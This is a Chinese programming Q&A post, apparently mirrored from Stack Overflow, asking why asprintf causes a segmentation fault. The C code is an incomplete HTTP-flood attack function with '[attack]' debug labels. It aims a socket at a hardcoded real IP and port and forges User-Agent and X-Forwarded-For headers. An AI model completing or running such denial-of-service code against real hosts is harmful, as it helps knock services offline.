asprintf cause segmentation fault core dump

问题描述 投票:0回答:0
char * atk_target="86.38.217.13";
int atk_port=9000;
void *httpget(){
    printf("1");
    struct sockaddr_in srv_addrr;
    

    int hpsock;

    if (0 > (hpsock = socket(AF_INET, SOCK_STREAM, 0))) 
    { 
#ifdef DEBUG
    printf("[attack] HTTP socket build failed\n");
#endif
        exit(0);
    } 
       
#ifdef DEBUG
    printf("[attack] HTTP socket build seccuss\n");
#endif   



    memset(&srv_addrr, 0, sizeof(srv_addrr));
    printf("1");
    srv_addrr.sin_family         = AF_INET; 
    srv_addrr.sin_port           = htons(atk_port);
    
    srv_addrr.sin_addr.s_addr    = inet_addr(atk_target); 
    
    if (0 > connect(hpsock, (struct sockaddr*)&srv_addrr, sizeof(srv_addrr))) 
    { 
#ifdef DEBUG
        printf("[attack] HTTP connect failed reconnect\n");
#endif
        exit(0);
    }
    const char *GET_TIME=
        "GET / HTTP/1.1\r\n"
        "Host: %s\r\n"
        "Origin:%s\r\n"
        
        "User-Agent:%s\r\n"
        "X-Forwarded-For:%s\r\n"
        
        "\r\n";
        char * http_request="";
        int get_len = asprintf(&http_request,GET_TIME,atk_target,atk_target,"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36",get_random_ip());
    


}

有代码,当我运行它时出现核心转储错误。但是如果我删除套接字部分,它会成功运行。我曾尝试使用 snprintf sprintf,但仍然出现同样的错误。我已经阅读过其他帖子关于堆栈溢出,我仍然不知道如何解决这个

c linux sockets stack-overflow coredump
© www.soinside.com 2019 - 2024. All rights reserved.